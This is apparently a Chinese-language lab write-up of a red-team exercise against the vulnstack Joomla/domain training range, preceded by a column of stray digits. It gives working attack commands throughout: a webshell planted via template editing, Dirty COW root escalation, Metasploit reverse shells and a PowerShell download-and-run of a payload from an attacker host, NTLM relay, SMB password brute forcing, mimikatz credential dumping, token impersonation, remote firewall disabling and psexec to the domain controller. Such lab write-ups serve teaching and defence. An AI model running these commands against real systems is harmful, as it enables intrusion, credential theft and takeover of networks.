0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
本靶场由红日安全团队提供,靶场地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/5/
本次靶场渗透主要是Joomla CMS漏洞的综合渗透练习,通过信息收集、漏洞利用、权限提升、以及域渗透。
网络拓扑如下
外网打点
对已知IP进行端口扫描,
Nmap -T4 -sC -sV 192.168.101.73
可以发现开启了80端口并且是joomla的网站,对其访问,
使用Kali内置的工具joomScan对该网站进行弱点探测,
命令joomscan -u 192.168.101.73
版本是3.9.12比较新,但是发现了一个敏感文件http://192.168.101.73/configuration.php~
该敏感文件里面泄露了数据库配置信息,使用navicat工具进行连接,找到了管理员表,
这样的密码没法进行爆破,于是换个思路看看能否重置密码或者新增一个管理员账户,根据官方文档,找到了关于如何新增一个管理员的手册:如何恢复或者重置管理密码
INSERT INTO `am2zu_users` (`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`) VALUES ('Administrator2', 'admin2','d2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW());INSERT INTO `am2zu_user_usergroup_map` (`user_id`,`group_id`) VALUES (LAST_INSERT_ID(),'8');
用户名是admin2,密码是secret
使用这个新增的用户名密码进行登录后台
登录后发现模板编辑处可以进行自由编辑,于是写入一句话木马上去
然后用蚁剑连接/templates/beez3/index.php,如下图,连接成功:
但无法执行命令,估计禁用了disable_function,
查看phpinfo,确实禁用disable_function,
使用蚁剑的插件来绕过disable_function。
接下来就是信息收集阶段:
uname -a # 获取所有版本信息
uname -m # 获取Linux内核架构
cat /proc/version # 获取内核信息
cat /etc/*-release # 发布信息
cat /etc/issue # 发布信息
hostname # 获取主机名
cat /etc/passwd # 列出系统所有用户
cat /etc/group # 列出系统所有组
w # 查看目前登录的用户
whoami # 查看当前用户
id # 查看当前用户信息
sudo -l # 列出目前用户可执行与无法执行的指令
ps aux # 查看进程信息
ls -la /etc/cron* # 查看计划任务
ifconfig -a # 列出网络接口信息
cat /etc/network/interfaces # 列出网络接口信息
arp -a # 查看系统arp表
route # 打印路由信息
netstat -anplt # 打印本地端口开放信息
iptables -L # 列出iptable的配置规则
经过一番收集,发现靶机的IP变成了192.168.93.120,判断是搭建了一个nginx反向代理。这台靶机才是真正提供web服务的机器:
继续翻找在/tmp/mysql目录里面发现了一个test.txt文件,在里面发现了一组用户名和密码(wwwuser/wwwuser_123Aqx):
难道是ssh的凭证?但是我们之前在信息收集时并没有发现过该用户,不管了,先连连试试:遂尝试连接192.168.101.73
连接成功,操作系统变成了Linux,查看nginx配置信息,可以看到确实做了反向代理。
好了,到目前为止我们已经拿下了两台主机了:
- CentOS:192.168.101.73
- Ubuntu:192.168.93.120
但是权限都很低,虽然我们有了CentOS的用户名和密码,但是CentOS主机禁止了当前用户执行sudo,为了能执行更多的命令我们还需要进行提权。Ubuntu的内核比较新,所以我们主要还是考虑提权CentOS。
权限提升
我们使用大名鼎鼎的脏牛(CVE-2016-5195)对CentOS进行提权。
首先下载Exp:https://github.com/FireFart/dirtycow
编译下载的Exp:
gcc -pthread dirty.c -o dirty -lcrypt
将编译好的漏洞利用程序上传到CentOS中一个有权限的目录,然后执行如下命令:
./dirty 123456 # ./dirty <password>
执行完成后,会在目标主机上添加一个名为firefart,密码为123456且具备root权限的用户,切换到该用户即可获得root权限,如下图所示:
内网渗透
为了更好的渗透内网,我要给CentOS上一个metasploit的shell:
use exploit/multi/script/web_delivery set target 6 # 选择目标系统 set payload linux/x64/meterpreter/reverse_tcp set lhost 192.168.101.118 set lport 4444 exploit
执行后,会生成一条命令:
把这条命令复制到靶机上执行即可获得反弹shell,
添加一个通向192.168.93.0/24的网段路由
run autoroute -s 192.168.93.0/24
查看是否添加成功run autoroute -p,
使用metasploit的 auxiliary/scanner/discovery/udp_probe 模块来扫描内网主机存活:
use auxiliary/scanner/discovery/udp_probe set rhosts 192.168.93.0-255 set threads 10 run
探测发现93网段有3台机器存活,下一步对这3台机器的端口进行扫描,可以继续使用msf的内置模块。
我换种方法,目前msf是添加了一个路由,所以该内置的模块都可以把流量转发进内网。但是如果想使用其他工具,比如nmap、sqlmap等,则需要搭建socks代理,这里我使用earthworm搭建socks5反向代理。
在攻击机上执行如下:
./ew_for_linux64 -s rcsocks -l 1080 -e 1234
在CentOS上传ew_for_linux64,并执行如下命令:
./ew_for_linux64 -s rssocks -d 192.168.1.9 -e 1234
然后配置proxychains,将socks5服务器指向127.0.0.1:1080,之后便可以使用proxychains将我们的程序代理进内网了。
使用nmap对这3台主机进行端口扫描
proxychains nmap -Pn -sT -sV 192.168.93.10 192.168.93.20 192.168.93.30 -F
现在内网的信息收集了个大概了,接下来就是横向移动,获取足够多的信息,最终拿下域控。
横向移动
这里有几个思路:
1、使用NTLM Relay攻击
2、使用auxiliary/scanner/smb/smb_login模块爆破登录
3、ms17_010
4、3389、1433等服务爆破
NTLM Relay 攻击
大致的思路是:攻击者在CentOS上面伪造一个恶意的SMB服务器,当内网中有机器 Client1 访问这个攻击者精心构造好的SMB服务器时, smbrelayx.py 脚本将抓到 Client1 的 Net-NTLM Hash ,然后 smbrelayx.py 用抓取到的 Client1 的 Net-NTLM Hash 重放给内网中的另一台机器 Client2。深入了解NTLM Relay 攻击的详情请看:《内网渗透测试:NTLM Relay攻击分析》
此处我使用responder攻击,下载地址https://github.com/sdfzy/responder
利用 Responder 中的 MultiRelay.py
我们在进行重放攻击之前,先用 Responder 工具包里面的 RunFinger.py 脚本扫描域内机器的的开放情况:
./RunFinger.py -i 192.168.93.0/24
可以看到域内主机的 SMB 签名都已禁用(false)了,接下来开始利用MultiRelay.py攻击,获得目标主机的shell:
python MultiRelay.py -t <被攻击ip> -u ALL
可以看到报错了,此时和nginx的端口冲突了,所以要先关闭nginx服务,
重新执行./MultiRelay.py -t 192.168.93.20 -u ALL
现在 SMB 已经由 MultiRelay.py 脚本来进行中继,我们需要修改一下responder的配置文件 Responder.conf,不让其对 hash 进行抓取。将SMB和HTTP的On改为Off:
重启 Responder.py,准备毒化(这里responder的作用就是当访问一个不存在的共享路径,将名称解析降到LLMNR/NBNS时,来抓取网络中所有的LLMNR和NetBIOS请求并进行响应)
responder -I eth0
此时我们在 DC(192.168.52.138)上面随便传递一个 SMB 流量,
此时我们可以看到已经拿到了 192.168.93.20 的 Shell:
因为许多命令被限制了,不能使用,所以使用powershell命令来下载木马文件,
先用msf生成一个反弹shell,
msfvenom -p windows/meterpreter/bind_tcp LHOST=192.168.101.118 LPORT=5555 -e x86/shikata_ga_nai -f exe -o shell.exe
然后上传到centos靶机上,在centos系统上用python开启一个HTTP服务,
然后下载该反弹shell,
powershell -exec bypass -c (new-object System.Net.WebClient).DownloadFile('http://192.168.93.129:8001/shelltest.exe','c:\shelltest.exe')
start c:\shelltest.exe #执行该exe
可以看到msf反弹成功,
获得shell后,记得及时设置进程迁移,否则在exe被删除了的话,会话也会随之关闭。
利用Impacket中的smbrelayx.py
攻击者伪造一个恶意的SMB服务器,当内网中有机器Client1访问这个攻击者精心构造好的SMB服务器时, smbrelayx.py 脚本将抓到 Client1 的 Net-NTLM Hash ,然后 smbrelayx.py 用抓取到的 Client1 的 Net-NTLM Hash 重放给 Client2 。
需要用到Impacket工具包中的smbrelayx.py工具,在CentOS上下载并安装Impacket,此处我用的是python3.8.5的环境。下载地址:https://github.com/SecureAuthCorp/impacket
首先,我们先生成一个正向的msf马:
msfvenom -p windows/meterpreter/bind_tcp LHOST=192.168.101.118 LPORT=5555 -e x86/shikata_ga_nai -f exe -o shell.exe
并将新生成的木马shell.exe上传到CentOS上面。
然后进入Impacket的examples目录执行如下命令:
./smbrelayx.py -h 192.168.93.20 -e /root/shell.exe # 192.168.93.20
为要重放的目标主机。
执行后会在CentOS上面启动一个smb服务和一个http服务,http服务会跟nginx的80端口冲突,所以需要事先停止nginx 服务:nginx -s stop 。
此时,如果内网中的有域用户访问再次通过centos代理访问站点时,访问的就不是之前的那个Joomla站点了,而是攻击者在centos上面搭建的一个恶意的smb服务,会弹出一个认证页面:
安全意识差的用户自然会输入自己的域用户密码,然后smbrelayx.py就会抓取到该用户的Net-NTLM Hash并重放给内网中的另一台机器 192.168.93.20(Windows Server 2008),成功后,会在Windows Server 2008上面上传我们预先生成的木马shell.exe并执行。
由于这里是靶机,所以我手动完成该域用户的认证过程,就用Windows7上的用户访问吧。输入net use \\192.168.93.100后,smbrelayx.py成功抓取到该用户的Net-NTLM Hash:
Windows Server 2008成功上线meterpreter,并且还是system权限:
smb密码爆破枚举
因为这三台主机都开了445端口,可以使用smb,使用msf中的smb_login模块进行密码枚举尝试,每台都尝试进行枚举,分别是192.168.93.10,192.168.93.20,192.168.93.30
use auxiliary/scanner/smb/smb_login set rhosts 192.168.93.20 set SMBUser Administrator set PASS_FILE /root/桌面/password.txt run
跑到192.168.93.20这台机器的时候比较幸运,直接跑出来了密码123qwe!ASD,
后续可以先建立ipc连接,然后进行横向移动。
定位域管理员
直接使用dos命令来定位域管理员:nslookup -type=SRV _ldap._tcp
可见TEST域的域管理员(test\administrator)当前登录的主机为WIN-8GA56TNV3MV.test.org,即Windows Server 2012(192.168.93.10)。
抓取域用户密码
在Windows Server 2008上面列出当前进程时,发现了域管理员(TEST\administrator)的进程:
所以我们可以在Windows server 2008上使用meterpreter上的kiwi模块抓取域用户及域管理员的密码:
load kiwi kiwi_cmd privilege::debug kiwi_cmd sekurlsa::logonPasswords
如上图,成功的抓取到了域管理员和本地管理员的账户密码:
- WIN2008\Administrator:123qwe!ASD
- TEST\administrator:zxcASDqw123!!
由于之前我们可以用Windows7上的用户Net-NTLM Hash对Windows 2008进行重放,说明Windows 7上的用户名和密码必然和Windows 2008是一样的,所以我们可以尝试直接登录:
use exploit/windows/smb/psexec set rhosts 192.168.93.30 set SMBUser administrato rset SMBPass 123qwe!ASD set payload windows/meterpreter/bind_tcp set rhost 192.168.93.30 run
登录成功。
打入域控
我们上面已经获得了域管理员的用户名密码了,直接登录即可:
use exploit/windows/smb/psexec set rhosts 192.168.93.10 set SMBDomain TEST set SMBUser administrator set SMBPass zxcASDqw123!! # set SMBPass fc5d63d71569f04399b419bc76e2eb34:18edd0cc3227be3bf61ce198835a1d97 set payload windows/meterpreter/bind_tcp set rhost 192.168.93.10 run
登录失败了:有防火墙的原因
只能用其他方法了。
重新生成一个正向的msf马bind.exe,并将bind.exe上传到Windows 2008:
然后我们窃取个域管理员用户的token令牌:
use incognito list_tokens -u impersonate_token "TEST\adminitrator"
这样我们的当前拿下的Windows 2008便有了访问域控制器的权限:
如上图,成功列出域控制器(192.168.93.10)的C盘目录。
然后执行如下命令,使用sc远程在域制器(192.168.93.10)上创建服务关闭防火墙:
sc \\192.168.93.10 create unablefirewall binpath= "netsh advfirewall set allprofiles state off" sc \\192.168.93.10 start unablefirewall
再次尝试使用 exploit/windows/smb/psexec 模块登录即可成功:
到此整个内网渗透+域渗透基本完毕。
关于作者:Paddling
Paddling,无尽安全实验室成员之一,熟悉web渗透测试、代码审计,内网渗透,参加过多次重保活动,红蓝对抗。熟悉Java/php代码审计,熟悉Java编程,了解SDL安全开发生命周期。熟悉内网渗透流程,了解内网安全加固机制。掌握应急响应整体流程和排查思路。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)